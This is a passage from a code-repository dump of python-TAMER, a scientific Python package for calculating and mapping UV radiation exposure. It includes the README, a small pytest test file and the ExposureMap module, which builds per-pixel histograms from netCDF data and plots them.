temp_table.apply(lambda x: \n np.median(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n # stdev\n elif stat.lower() in [\"std\",\"sd\",\"stdev\"] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.std(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n # variance\n elif stat.lower() in [\"var\",\"variance\"] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.var(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n # minimum\n elif stat.lower() in [\"min\",'minimum'] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.amin(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n # maximum\n elif stat.lower() in [\"max\",\"maximum\"] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.amax(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n # weighted mean\n elif stat.lower() in [\"weighted_mean\",\"weighted_average\",\"mean_weighted\",\"average_weighted\",\"avg_weighted\"] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.average(data[:,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']],weights=x['Schedule']),axis='columns')\n # sum\n elif stat.lower() in [\"sum\",\"total\"] :\n temp_table[variable+\"_\"+stat] = temp_table.apply(lambda x: \n np.sum(data[x['Schedule']!=0,x['unique_days_idx'],x['pixel_lat'],x['pixel_lon']] ),axis='columns')\n\n # extra step necessary to ensure correct assignment\n self.loc[temp_table.index,variable+\"_\"+stat] = temp_table[variable+\"_\"+stat].values\n\n return self \n" }, { "alpha_fraction": 0.7835420370101929, "alphanum_fraction": 0.7990459203720093, "avg_line_length": 66.98648834228516, "blob_id": "becba54d2b785c87cbde1d44ecd97b6fa9c79a98", "content_id": "e7317a36da77d20191fcd1b020f42948f48cc9b5", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 5031, "license_type": "permissive", "max_line_length": 111, "num_lines": 74, "path": "/README.rst", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "============================\nIntroduction to python-TAMER\n============================\n\n| Official documentation hosted at https://meteoswiss.github.io/python-TAMER \n\nPython-TAMER is a python package for performing advanced environmental exposure calculations in a simple and\naccessable way suitable for users with minimal python experience. To get started, check the `Installation`_\ntab.\n\n.. _Installation: https://meteoswiss.github.io/python-TAMER/installation.html\n\n* Free software: BSD-3-Clause licence\n\nThe Toolkit for Analysis and Maps of Exposure Risk (TAMER) is a python package designed to calculate estimates \nof individual and population exposure across a geographic area. Currently, the project is focused on erythemal \nUV radiation exposure, but the tools provided by TAMER could be used in a variety of contexts provided there \nis appropriate source data. In addition to providing a simple methods for basic exposure calculations, (such \nas mean, median, and maximum intensities over certain time periods,) TAMER allows users to calculate daily \ndoses by integrating the exposure over time. TAMER deals with very large volumes of data, but is designed with \nmemory efficiency in mind so that such data can be processed on even modest personal comptuters.\n\nIn the context of UV, the dose received by an exposed individual is far more relevant to their corresponding \nhealth risk than the ambient level of UV. Usually, these doses are measured by wearable devices. Harris et al.\n2021 (https://doi.org/10.3390/atmos12020268) explains the various benefits of instead estimating such doses\nbased on satellite-derived data with sufficiently high spatial and temporal resolution. The Swiss UV \nclimatology provided by Vuilleumier et al. 2020 (https://doi.org/10.1016/j.envint.2020.106177) is Currently\nthe most appropriate source data for TAMER as it provides erythemal UV at an approximately 1.5km spatial\nresolution and an hourly temporal resolution. Harris et al. 2021 shows that with location, date, and time\ninformation, reasonable ambient doses can be calculated. However, to calculate personal doses, the Exposure\nRatio (ER) must also be known, that being the ratio between the ambient dose and the personal dose received\nby a certain body part. Different body parts have varying ERs which also depend on body posture, for example\nthe ER of the forehead is lower when bowing down than when standing normally. TAMER includes a model from\nVernez et al. 2015 (https://doi.org/10.1038/jes.2014.6) to calculate ERs according to anatomic zone, posture,\nand time of year. python-tamer.SpecificDoses is a table-like class designed to take location, date, time, \nposture, and anatomic zone information to calculate specific ambient and personal doses of the described\nindividuals. \n\nA large part of TAMER is dedicated to producing high quality maps of a variety of exposure metrics. Maps of UV\nexposure often show the mean, median, or max irradiance for a given time period. TAMER includes the option to \ncalculate such maps, but also offers more advanced alternatives. The TAMER approach balances versatility with\nmemory efficiency by calculating histograms for each pixel as a first step. These histograms can describe the\nirradiance or the daily doses for any time selection and exposure schedule. They can be built up iteratively, \nprocessing one year at a time to ensure only moderate memory usage. With the pixel histograms calculated, the\nuser then has to choose a statistical descriptor to condense the distribution into a single number to be \nplotted on the map. This can be basic statistics such as mean, median, or max, however we include some more\nadvanced options such as a custom percentile and the standard deviation. In a forthcoming release, we shall\nalso include the option to define one's own formula for a custom descriptor, allowing for metrics like the\ndifference between the 95th percentile and the median divided by the standard deviation which would be \nindicative of the severity of acute exposure instances. The simple and novel approaches to exposure estimation\nprovided by the combined release of high resolution UV data (https://doi.org/10.1016/j.envint.2020.106177) and\nthe simple and novel exposure calculations provided by TAMER give opportunity to epidemiologists and public \nhealth experts to study UV exposure with higher detail than has ever been possible before.\n\n\nFeatures\n--------\n\n* Calculate daily doses rapidly with custom exposure schedules\n* Analyse exposure distributions per pixel\n* Produce maps to represent chronic and acute exposure using standard or custom metrics\n* Replicate dosimetry measurements using Exposure Ratio modelling\n\nIn Development\n--------------\n\n* Improved support for custom statistical descriptors\n* Custom area selection for the SpecificDoses class\n\nFuture work\n-----------\n\n* Improved support for different source files (new units, temporal resolutions, etc.)\n* Integrate support for cross multiplication of ExposureMap with population distribution data\n" }, { "alpha_fraction": 0.5532591342926025, "alphanum_fraction": 0.6112877726554871, "avg_line_length": 26.9777774810791, "blob_id": "371927290301cfed9219bb1e6abcd041ea2434b3", "content_id": "51b7df74e28a6066eb79d3511a4a62b3c70042e2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1258, "license_type": "permissive", "max_line_length": 89, "num_lines": 45, "path": "/test/test_dummy_library.py", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "import pytest\n\nimport datetime as dt\nfrom python_tamer.ExposureMap import *\nfrom python_tamer.SpecificDoses import *\n\ndef test_ExposureMap_max():\n\n test = ExposureMap(date_selection=pd.date_range(start=\"2018-07-01\",end=\"2018-07-01\"),\n units = \"UVI\",\n statistic = \"max\",\n data_directory=\"test/\",\n src_filename_format=\"UV_test_data_yyyy.nc\",\n bin_width=0.1\n ).collect_data().calculate_map()\n\n assert test.map[50,50] == 8.05\n\ndef test_SpecificDoses():\n\n test = SpecificDoses(pd.DataFrame({\n \"Date\" : [dt.date(2018,7,1)],\n \"Time_start\" : [dt.time(11,0,0)],\n \"Time_end\" : [dt.time(12,0,0)],\n \"Anatomic_zone\" : [\"Forehead\"],\n \"Posture\" : [\"Standing erect arms down\"],\n \"Latitude\" : [46.79166],\n \"Longitude\" : [6.79167]\n }))\n test.data_directory = \"test/\"\n test.src_filename_format = \"UV_test_data_yyyy.nc\"\n\n test = test.ER_from_posture().schedule_constant_exposure()\n\n test = test.calculate_specific_dose()\n\n assert test['Ambient_dose'][0] == pytest.approx(8.08847 * 0.9, 0.05)\n\ndef test_str2daysofyear_mix_type():\n \n a,b,c = str2daysofyear([np.arange(1,8),\"January\"])\n\n assert all(a[1] == np.arange(1,32))\n assert b[1] == 'jan'\n assert c == [True, False]" }, { "alpha_fraction": 0.5709336400032043, "alphanum_fraction": 0.5845947265625, "avg_line_length": 44.02372360229492, "blob_id": "1200000fa9df83a636894b2f12f5fed4bd854581", "content_id": "52d487eddf3a7726f11672eb9aadd7cfa31e4b18", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 75909, "license_type": "permissive", "max_line_length": 136, "num_lines": 1686, "path": "/python_tamer/ExposureMap.py", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "from numpy.core.numeric import True_\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nimport os\nimport re\nimport netCDF4 as nc\nimport matplotlib.pyplot as plt\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeat\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom matplotlib.projections import get_projection_class\nfrom cartopy.io import shapereader\nfrom scipy.interpolate import interp2d\nfrom scipy.ndimage import zoom\nfrom .subroutines import *\n\n\nclass ExposureMap:\n \"\"\" A class for calculating maps based on user specifications\n\n Each instance of this class contains information required to calculate and illustrate a map\n of exposure information, be that simple averages or more advanced mathematical representations\n of exposure risk. The class is designed to have three core functions run in sequence, with\n room for flexibility should more advanced users desire it. First, the data is read and a pixel\n histogram is calculated. This allows much more data to be stored in memory and is the basis\n for performing this kind of data analysis on personal computers.\n\n\n Parameters\n ----------\n \n units : str\n The units of the quantity to be mapped. Must be \"SED\", \"J m-2\" or \"UVIh\" for doses or \"UVI\",\n \"W m-2\" or \"mW m-2\" for irradiances. Defaults to \"SED\".\n\n exposure_schedule : array\n A vector of values describing the relative exposure of each hour of the day. 0 indicates no\n exposure, 1 indicates full exposure, and a fractional value such as 0.5 would indicate \n exposure for a total of 30 minutes within the hour, or a 50% partial exposure for the full\n hour, or anything equivalent. Values greater than 1 are allowed. Must have a length of 24 (for \n each hour of the day) although a length of 1 is also allowed, in which case that number will \n be immediately replicated across a 24-length vector. When not calculating doses, hours with \n any non-zero entry in this vector are included, with the irradiance values being \n multiplied by the corresponding non-zero value in the exposure schedule.\n\n bin_width : float\n The width of each bin in the pixel histogram. Value assumed to be in the same units as \n defined by the units parameter. *Making bin_width excessively small can lead to high\n memory usage,* consider the underlying accuracy of the source data and be sure not to\n substantially exceed its precision with this parameter.\n\n statistic : str\n The statistical descriptor to be calculated from the pixel histograms to be later \n represented on the rendered map. Must contain at least one of these keywords:\n \"mean\", \"median\" or \"med\", \"sd\" or \"std\" or \"stdev\", \"max\" or \"maximum\", \"min\" or \n \"minimum\". \n\n *Planned:* the string can be a formula using any of the keywords above,\n as well at \"prct\" or \"percentile\" preceeded by a number between 0 and 100, and \n basic mathematical operators (+, -, *, /, **) and numeric factors.\n\n date_selection : list of dates\n The dates for which the irradiances are retrieved or the daily doses are calculated. \n Defaults to None whereby the program selects all data within the src_directory that\n matches the src_filename_format.\n\n src_filename_format : str\n Describes the filename of the netCDF files containing the data with 'yyyy' in place \n of the year.\n \n src_directory : str\n The directory where the data is stored. Must end with a slash.\n\n\n Example\n -------\n\n The code below shows a typical use case for the ExposureMap class. The long-term average daily doses\n (i.e. the chronic doses) for typical school children are calculated across Switzerland asssuming certain\n hours of exposure for journeying to and from school and having breaks for morning tea and lunch time. ::\n\n import python_tamer as pt\n import pandas as pd\n import numpy as np\n src_directory = 'C:/enter_your_src_directory_here'\n ER = pt.ER_Vernez_2015(\"Forehead\",\"Standing\") # Long-term average ER for foreheads in standing posture\n map = pt.ExposureMap(\n src_directory=src_directory,\n units = \"J m-2\",\n exposure_schedule = np.array([0 ,0 ,0 ,0 ,0 ,0 ,\n 0 ,0 ,0.5,0 ,0.5,0 ,\n 0.5,0.5,0 ,0 ,0.5,0 ,\n 0 ,0 ,0 ,0 ,0 ,0 ])*ER,\n bin_width = 25,\n date_selection = pd.date_range(start=\"2005-01-01\",end=\"2014-12-31\"),\n statistic = \"mean\",\n map_options={\"title\": \"Chronic daily UV dose for typical school children, 2005-2014\",\n \"save\": False})\n map = map.collect_data().calculate_map()\n map.plot_map()\n\n\n \"\"\"\n\n def __init__(self,units=\"SED\",\n exposure_schedule=1,\n statistic=\"mean\",\n bin_width = None,\n date_selection=None,\n map_options=None,\n src_filename_format='UVery.AS_ch02.lonlat_yyyy01010000.nc',\n src_directory='C:/Data/UV/'):\n # assigning options to fields in class with a few basic checks\n self.units = units\n\n self.exposure_schedule=np.array(exposure_schedule)\n if len(np.atleast_1d(self.exposure_schedule)) == 1 :\n self.exposure_schedule = np.repeat(self.exposure_schedule,24)\n\n self.statistic = statistic\n\n self.map_options = {\n \"title\" : \"Test map\",\n \"save\" : True,\n \"img_size\" : [20,15],\n \"img_dpi\" : 300,\n \"img_dir\" : \"\",\n \"img_filename\" : \"timestamp\",\n \"img_filetype\" : \"png\",\n \"brdr_nation\" : True,\n \"brdr_nation_rgba\" : [0,0,0,0],\n \"brdr_state\" : False,\n \"brdr_state_rgba\" : [0,0,0,0.67],\n \"cmap\" : \"jet\",\n \"cmap_limits\" : None,\n \"cbar\" : True,\n \"cbar_limits\" : None\n }\n if map_options is not None :\n self.map_options.update(map_options)\n\n self.src_filename_format = src_filename_format\n self.src_directory = src_directory\n\n self.date_selection = date_selection\n\n if bin_width is None :\n self.bin_width = {\n \"SED\" : 0.1, \n \"J m-2\" : 10, \n \"UVI\" : 0.1, \n \"W m-2\" : 0.0025, \n \"mW m-2\" : 2.5\n }[self.units]\n else :\n self.bin_width = bin_width\n \n \n def collect_data(self, src_directory=None,src_filename_format=None,\n date_selection=None,units=None,exposure_schedule=None,bin_width=None) :\n \"\"\"Loads and manipulates data into histograms for each pixel of the underlying data\n\n In order to handle large amounts of data without exceeding memory limitations, files are\n loaded one at a time and the time dimension is removed, either by calculating daily doses\n or by simply taking the data as is. The resulting information is then stored not as a \n list of specific values but rather binned into a histogram for each pixel. This process\n is repeated for each file required by the user input, building up the pixel histograms\n with more information that does not require additional memory.\n\n\n Parameters\n ----------\n\n src_filename_format : str\n Describes the filename of the netCDF files containing the data with 'yyyy' in place \n of the year.\n \n src_directory : str\n The directory where the data is stored. Must end with a slash.\n\n date_selection : list of dates\n The dates for which the irradiances are retrieved or the daily doses are calculated. \n Defaults to None whereby the program selects all data within the src_directory that\n matches the src_filename_format.\n\n units : str\n Name of units of desired output. This also indicates whether daily doses must be \n calculated or not. Units of \"SED\", \"J m-2\", or \"UVIh\" will produce daily doses,\n units of \"UVI\", \"W m-2\" or \"mW m-2\" will not. \n\n exposure_schedule : array\n A vector of values describing the relative exposure of each hour of the day. 0 indicates no\n exposure, 1 indicates full exposure, and a fractional value such as 0.5 would indicate \n exposure for a total of 30 minutes within the hour, or a 50% partial exposure for the full\n hour, or anything equivalent. Values greater than 1 are allowed. Must have a length of 24 (for \n each hour of the day) although a length of 1 is also allowed, in which case that number will \n be immediately replicated across a 24-length vector. When not calculating doses, hours with \n any non-zero entry in this vector are included, with the irradiance values being \n multiplied by the corresponding non-zero value in the exposure schedule.\n\n bin_width : float\n The width of each bin in the pixel histogram. Value assumed to be in the same units as \n defined by the units parameter. *Making bin_width excessively small can lead to high\n memory usage,* consider the underlying accuracy of the source data and be sure not to\n substantially exceed its precision with this parameter.\n\n\n Returns\n -------\n\n python_tamer.ExposureMap\n The input ExposureMap object is appended with new fields, `pix_hist` contains\n the counts for the histogram, and `bin_edges`, `bin_centers`, and `num_bins`\n all serve as metadata for the pixel histograms. `lat` and `lon` are also \n added from the multi-file dataset to inform the pixel locations for map making\n further down the typical pipeline.\n \n \n Example\n -------\n\n The example code below shows how an ExposureMap class can be declared with the default parameters that\n can then be later redefined by collect_data() and the other class functions. ::\n\n import python_tamer as pt\n import pandas as pd\n import numpy as np\n src_directory = 'C:/enter_your_src_directory_here'\n ER = pt.ER_Vernez_2015(\"Forehead\",\"Standing\") # Long-term average ER for foreheads in standing posture\n map = pt.ExposureMap()\n map = map.collect_data(\n src_directory=src_directory,\n units = \"J m-2\",\n exposure_schedule = np.array([0 ,0 ,0 ,0 ,0 ,0 ,\n 0 ,0 ,0.5,0 ,0.5,0 ,\n 0.5,0.5,0 ,0 ,0.5,0 ,\n 0 ,0 ,0 ,0 ,0 ,0 ])*ER,\n bin_width = 25,\n date_selection = pd.date_range(start=\"2005-01-01\",end=\"2014-12-31\")\n )\n map = map.calculate_map(statistic = \"mean\")\n map.plot_map(map_options={\"title\": \"Chronic daily UV dose for typical school children, 2005-2014\",\n \"save\": False})\n\n\n \"\"\"\n\n # TODO: There must be a better way to do this\n if not (src_directory is None) :\n self.src_directory = src_directory\n if not (src_filename_format is None) :\n self.src_filename_format = src_filename_format\n if not (date_selection is None) :\n self.date_selection = date_selection\n if not (units is None) :\n self.units = units\n if not (exposure_schedule is None) :\n self.exposure_schedule = exposure_schedule\n if not (bin_width is None) :\n self.bin_width = bin_width\n\n # first we read the src_directory to check the total number of unique years available\n data_dir_contents = os.listdir(self.src_directory)\n # TODO: improve jankiness of this format-matching search for filenames\n char_year = self.src_filename_format.find('yyyy')\n dataset_years = [ x for x in data_dir_contents if re.findall(self.src_filename_format.replace(\"yyyy\",\"[0-9]{4}\"),x)]\n dataset_years = [ int(x[char_year:char_year+4]) for x in dataset_years ]\n\n # Now we can handle default options like \"all\"\n if type(self.date_selection) == str and self.date_selection == \"all\" :\n date_selection = pd.date_range(start=str(dataset_years[0])+\"-01-01\",\n end=str(dataset_years[-1])+\"-12-31\")\n else :\n date_selection = self.date_selection # TODO: much more interpretation options here\n\n #now we find unique years \n list_of_years = sorted(set(date_selection.year))\n\n for i in range(len(list_of_years)) :\n year = list_of_years[i]\n print(\"Processing year \"+str(year)) #should use logging, don't yet know how\n dataset=nc.Dataset(self.src_directory+self.src_filename_format.replace('yyyy',str(year))) \n dataset.set_auto_mask(False) #to get normal arrays (faster than default masked arrays)\n\n if dataset.dimensions['time'].size == 24 :\n # needed if just a single day\n time_subset = [True for i in range(dataset.dimensions['time'].size)]\n else :\n # Next we pull a subset from the netCDF file\n # declare false array with same length of time dimension from netCDF\n time_subset = [False for i in range(dataset.dimensions['time'].size)] \n # reshape false array to have first dimension 24 (hours in day)\n time_subset = assert_data_shape_24(time_subset) \n # set the appropriate days as true\n time_subset[:,date_selection[date_selection.year == year].dayofyear-1] = True \n # flatten time_subset array back to one dimension\n time_subset = time_subset.flatten(order='F')\n\n # load subset of data\n print(\" Slicing netcdf data with time subset\")\n data = dataset['UV_AS'][time_subset,:,:] #work in UVI by default because it's easy to read\n # TODO: check units of dataset files, CF conventions for UVI or W/m2\n\n # now to calculate doses if requested\n if self.units in [\"SED\",\"J m-2\",\"UVIh\"] :\n # if calculating doses\n print(' Calculating doses')\n data = assert_data_shape_24(data)\n data = np.sum(np.reshape(self.exposure_schedule,[24,1,1,1]) * data,axis=0)\n\n elif (self.exposure_schedule != np.ones(24)).any() :\n # assume elsewise calculating intensity (i.e. UV-index) then limit data selection according\n # to schedule (remembering that default schedule is just ones)\n print(' Slicing data with exposure schedule')\n # reshape so first dimension is 24 hours\n data = assert_data_shape_24(data)\n # select only those hours with nonzero entry in exposure schedule\n data = data[self.exposure_schedule != 0,:,:,:]\n # select nonzero values from exposure schedule\n exposure_schedule_nonzero = self.exposure_schedule[self.exposure_schedule != 0]\n\n # if any nonzero entries aren't 1, multiply data accordingly\n if (exposure_schedule_nonzero != 1).any() :\n data *= np.reshape(exposure_schedule_nonzero,[len(exposure_schedule_nonzero),1,1,1])\n\n # recombine first two dimensions (hour and day) back into time ready for histogram\n data = assert_data_shape_24(data,reverse=True) \n\n # now multiply data by conversion factor according to desired untis\n # TODO: Should expand upon this in reference files\n data *= {\"SED\":0.9, \"J m-2\":90, \"UVIh\":1, \"UVI\":1, \"W m-2\":0.025, \"mW m-2\":25}[self.units]\n\n # if this is the first iteration, declare a hist\n if i == 0 :\n # seems like useful metadata to know bin n and edges\n # TODO: reconsider where this belongs in the code (__init__?)\n self.num_bins = int(np.nanmax(data) // self.bin_width ) + 2\n self.bin_edges = (np.array(range(self.num_bins+1)) - 0.5) * self.bin_width \n # this form allows for weird custom bin edges, but probably will never use that\n self.bin_centers = self.bin_edges[:-1] + 0.5 * np.diff(self.bin_edges)\n\n # TODO: think about possible cases where dimensions could differ\n self.pix_hist=np.zeros([self.num_bins,\n np.shape(data)[-2],np.shape(data)[-1]], dtype=np.int16)\n\n # TODO: this should also be done by some initial dataset analysis, but that's a drastic\n # design overhaul\n self.lat = dataset['lat'][:]\n self.lon = dataset['lon'][:]\n\n else :\n new_num_bins = int(np.nanmax(data) // self.bin_width) + 2 - self.num_bins\n # check if new data requires extra bins in pix_hist\n if new_num_bins > 0 :\n # append zeros to pix hist to make room for larger values\n self.pix_hist = np.concatenate((self.pix_hist,np.zeros(\n [new_num_bins,np.shape(self.pix_hist)[-2],np.shape(self.pix_hist)[-1]],\n dtype=np.int16)),axis=0)\n # update bin information\n self.num_bins = self.num_bins + new_num_bins\n self.bin_edges = (np.array(range(self.num_bins+1)) - 0.5) * self.bin_width \n self.bin_centers = self.bin_edges[:-1] + 0.5 * np.diff(self.bin_edges)\n\n # TODO: Add check in case bins get \"full\" (i.e. approach int16 max value)\n # now put data into hist using apply_along_axis to perform histogram for each pixel\n print(\" Calculating and adding to pixel histograms\")\n self.pix_hist[:,:,:] += np.apply_along_axis(lambda x: \n np.histogram(x,bins=self.bin_edges)[0],0,data)\n\n return self\n\n def calculate_map(self,pix_hist=None,statistic=None,bin_centers=None) :\n \"\"\"Calculates statistical descriptor values for pixel histograms to produce a map\n\n This function interprets the statistic string, which can either be a simple command\n such as \"mean\" or a more advanced formula of keywords. The corresponding function is \n applied to each pixel of the pix_hist object within the ExposureMap class, essentially\n removing the first dimension and resulting in straightforward map to be plotted.\n\n\n Parameters\n ----------\n\n pix_hist : array\n A 3D array with the first dimension containing vectors of counts for histograms\n and the next two dimensions serving as pixel coordinates. See \n `ExposureMap.collect_data()` for more information.\n\n statistic : str\n The statistical descriptor to be calculated from the pixel histograms to be later \n represented on the rendered map. Must contain at least one of these keywords:\n \"mean\", \"median\" or \"med\", \"sd\" or \"std\" or \"stdev\", \"max\" or \"maximum\", \"min\" or \n \"minimum\". \n\n *Planned:* the string can be a formula using any of the keywords above,\n as well at \"prct\" or \"percentile\" preceeded by a number between 0 and 100, and \n basic mathematical operators (+, -, *, /, **) and numeric factors.\n \n bin_centers : array\n The central numeric values corresponding to the bins in pix_hist. The \n `ExposureMap.collect_data` function typically calculates these values from the\n given `bin_width` input.\n\n\n Returns\n -------\n python_tamer.ExposureMap\n The ExposureMap class object is appended with a map field containing a 2D array\n\n\n Example\n -------\n\n In the example below, the user imports some pre-calculated pixel histograms, thereby\n completing the ExposureMap workflow without using the `ExposureMap.ExposureMap.collect_data()`\n function. This can be useful if the data collection is timely and the user wants to\n produce multiple different maps. Note that the \"custom data\" used in this example is not\n included in the python-TAMER package, this simply illustrates a unique use-case. ::\n\n import python_tamer as pt\n # load custom data from an external file (not included)\n from custom_user_data import pix_hist, bin_centers, map_options \n map = pt.ExposureMap(map_options = map_options)\n map = map.calculate_map(\n statistic = \"median\", \n pix_hist = data, \n bin_centers = bin_centers\n ).plot_map(save = False)\n map.calculate_map(statistic = \"max\").plot_map(map_options={\"save\" = False})\n map.calculate_map(statistic = \"std\").plot_map(map_options={\"save\" = False})\n\n\n \"\"\"\n\n if not (pix_hist is None) :\n self.pix_hist = pix_hist\n if not (statistic is None) :\n self.statistic = statistic\n if not (bin_centers is None) :\n self.bin_centers = bin_centers\n\n # Begin by defining the easy options that only require two inputs\n basic_descriptor_functions = {\n \"mean\": hist_mean,\n \"median\": lambda x,y: hist_percentile(x,y,0.5),\n \"med\": lambda x,y: hist_percentile(x,y,0.5),\n \"sd\": hist_stdev,\n \"std\": hist_stdev,\n \"stdev\": hist_stdev,\n \"max\": hist_max,\n \"maximum\": hist_max,\n \"min\": hist_min,\n \"minimum\":hist_min\n }\n # we can check if the chosen statistic is basic or advanced\n if self.statistic.lower() in basic_descriptor_functions.keys() :\n # in this case, we can simply select the basic function from the dict...\n descriptor_function = basic_descriptor_functions[self.statistic.lower()]\n # ...and execute it across the map\n self.map = np.apply_along_axis(lambda x: descriptor_function(x,self.bin_centers),0,self.pix_hist)\n # TODO: a loose space could ruin this, need shunting yard algorithm of sorts\n elif self.statistic.lower()[2:] == \"prct\" or self.statistic.lower()[2:] == \"percentile\" :\n prct = int(self.statistic[0:1]) / 100\n self.map = np.apply_along_axis(lambda x: hist_percentile(x,self.bin_centers,prct),0,self.pix_hist)\n else :\n # TODO: interpret self.statistic to build advanced functions (y i k e s)\n print(\"WARNING: ExposureMap.statistic not recognised.\")\n \n\n return self\n\n def plot_map(self,map_options=None) :\n \"\"\"Renders and optionally saves a map of the ``map`` field in an ExposureMap object\n\n This function caps off the typical workflow for the ExposureMap class by rendering the contents\n of the map field. Many aesthetic factors are accounted for, contained within the\n `ExposureMap.map_options` dictionary.\n\n\n Parameters\n ----------\n\n map_options : dict, optional\n A collection of many typical options such as image and font sizes, colormaps, etc.\n The full range of options is listed below with their default values.\n\n \"title\" : \"Test map\" \n The title to be rendered above the map. Can be left blank for no title. Can be \n used to inform img_filename\n\n \"save\" : True \n Boolean to declare whether the map should be saved as an image file or not.\n \n \"img_size\" : [20,15] \n The size [width,height] of the image in cm.\n\n \"img_dpi\" : 300 \n The dots per inch of the saved image.\n\n \"img_dir\" : \"\" \n The directory for the image to be saved in, leaving it blank should result\n in images being saved in the working directory.\n\n \"img_filename\" : \"timestamp\" \n The image filename as a string. The default value of \"timestamp\" is a keyword\n indicating that the function should generate a filename based on the time at\n the moment of the calculation, specified with the format %Y%m%d_%H%M%S_%f \n which includes millisecond precision.\n\n \"img_filetype\" : \"png\" \n The image filetype, must be acceptable to `matplotlib.pyplot.savefig()`.\n\n \"brdr_nation\" : True \n Boolean for drawing national borders on the map.\n\n \"brdr_nation_rgba\" : [0,0,0,0] \n The red, green, blue, and alpha values for the national borders.\n\n \"brdr_state\" : False \n Boolean for drawing state borders as defined by Natural Earth dataset.\n\n \"brdr_state_rgba\" : [0,0,0,0.67] \n The red, green, blue, and alpha values for the national borders.\n\n \"cmap\" : \"jet\" \n The name of the colourmap to be used when rendering the map.\n\n \"cmap_limits\" : None \n The numeric limits of the colourmap. Defaults to None, where the lower\n and upper limits of the plotted data are used as the colourmap limits.\n\n \"cbar\" : True \n Boolean for rendering a colourbar.\n\n \"cbar_limits\" : None \n The numeric limits of the colourbar. Defaults to None, where the lower\n and upper limits of the plotted data are used as the colourbar limits.\n \n\n Returns\n -------\n\n python_tamer.ExposureMap\n Returns the ExposureMap object that was input with an updated map_options\n field (if the user has specificied any changes to the default map_options).\n\n\n \"\"\"\n\n if map_options is not None :\n self.map_options.update(map_options)\n\n # TODO: Add custom sizing and resolution specifications\n fig = plt.figure(figsize=(self.map_options['img_size'][0]/2.54,\n self.map_options['img_size'][1]/2.54))\n\n # TODO: Accept custom projections\n proj = ccrs.Mercator()\n\n # TODO: Add support for multiple plots per figure (too complex? consider use cases)\n ax = fig.add_subplot(1,1,1,projection = proj)\n\n # TODO: Increase flexibility of borders consideration\n if self.map_options['brdr_nation'] :\n ax.add_feature(cfeat.BORDERS)\n\n # TODO: Consider first-last versus min-max - how can we avoid accidentally flipping images\n extents=[self.lon[0],self.lon[-1],self.lat[0],self.lat[-1]]\n ax.set_extent(extents)\n\n # Confusingly, this code correctly translate the lat/lon limits into the projected coordinates\n extents_proj = proj.transform_points(ccrs.Geodetic(),np.array(extents[:2]),np.array(extents[2:]))\n extents_proj = extents_proj[:,:2].flatten(order='F')\n\n # TODO: Custom colormaps, interpolation, cropping\n im = ax.imshow(self.map,extent=extents_proj,transform=proj,origin='lower',\n cmap=self.map_options['cmap'],interpolation='bicubic')\n\n # TODO: Add more advanced title interpretation (i.e. smart date placeholder)\n if self.map_options['title'] is not None :\n ax.set_title(self.map_options['title'])\n\n # TODO: Add support for horizontal\n if self.map_options['cbar'] :\n cb = plt.colorbar(im, ax=ax, orientation='horizontal',pad=0.05,fraction=0.05)\n cb.ax.set_xlabel(self.units)\n\n # TODO: Add plot title, small textbox description, copyright from dataset, ticks and gridlines\n if self.map_options['save'] :\n # Generate timestamp filename if relying on default\n if self.map_options['img_filename'] == \"timestamp\" :\n img_filename=dt.datetime.now().strftime('%Y%m%d_%H%M%S_%f')\n\n plt.savefig(self.map_options['img_dir']+img_filename+\".\"+self.map_options['img_filetype'],\n bbox_inches=\"tight\",dpi=self.map_options['img_dpi'])\n\n plt.show()\n\n return self\n\n\n\n\n\n\n\n\n\n\n\n\nclass ExposureMapSequence :\n \"\"\" Class for generating multiple Exposure Maps in a single operation\n\n The ExposureMapSequence class is a framework for generating multiple maps following\n a given sequence. The basic workflow begins by declaring an object of this class and\n collecting the data from the source NetCDF files. The process is designed with \n memory efficiency in mind, so data is loaded one year at a time and put into pixel\n histograms akin to the ExposureMap class behaviour. However, in this class we allow for\n multiple histograms to be stored within a single ExposureMapSequence object. Next,\n the maps are calculated by the calculate_maps function. Multiple maps can be calculated for each histogram if the user\n has specified multiple statistics that they want to calculate. Lastly, the maps are\n rendered and saved by the save_maps function.\n\n\n Parameters\n ----------\n\n src_filename_format : str\n Describes the filename of the netCDF files containing the data with 'yyyy' in place \n of the year.\n \n src_directory : str\n The directory where the data is stored. Must end with a slash.\n\n\n Example\n -------\n\n In this example, we produce a basic sequence of monthly average doses for 2020::\n\n example = ExposureMapSequence()\n example = example.collect_data('monthly',year_selection=[2020],units=[\"SED\"])\n example = example.calculate_maps(statistic='Mean')\n example.save_maps(save=True,show=True)\n\n In this example, we produce a basic sequence of annual average doses for each year\n of the dataset::\n\n example = ExposureMapSequence()\n example = example.collect_data(['annual'],year_selection=[0],units=[\"SED\"])\n example = example.calculate_maps(statistic='Mean')\n example.save_maps(save=True,show=True) \n\n \"\"\"\n\n def __init__(self,\n src_filename_format='UVery.AS_ch02.lonlat_yyyy01010000.nc',\n src_directory='C:/Data/UV/',\n units=None,\n bin_width=None,\n map_options=None,\n ):\n # start with data location to quickly get some metadata\n self.src_filename_format = src_filename_format\n 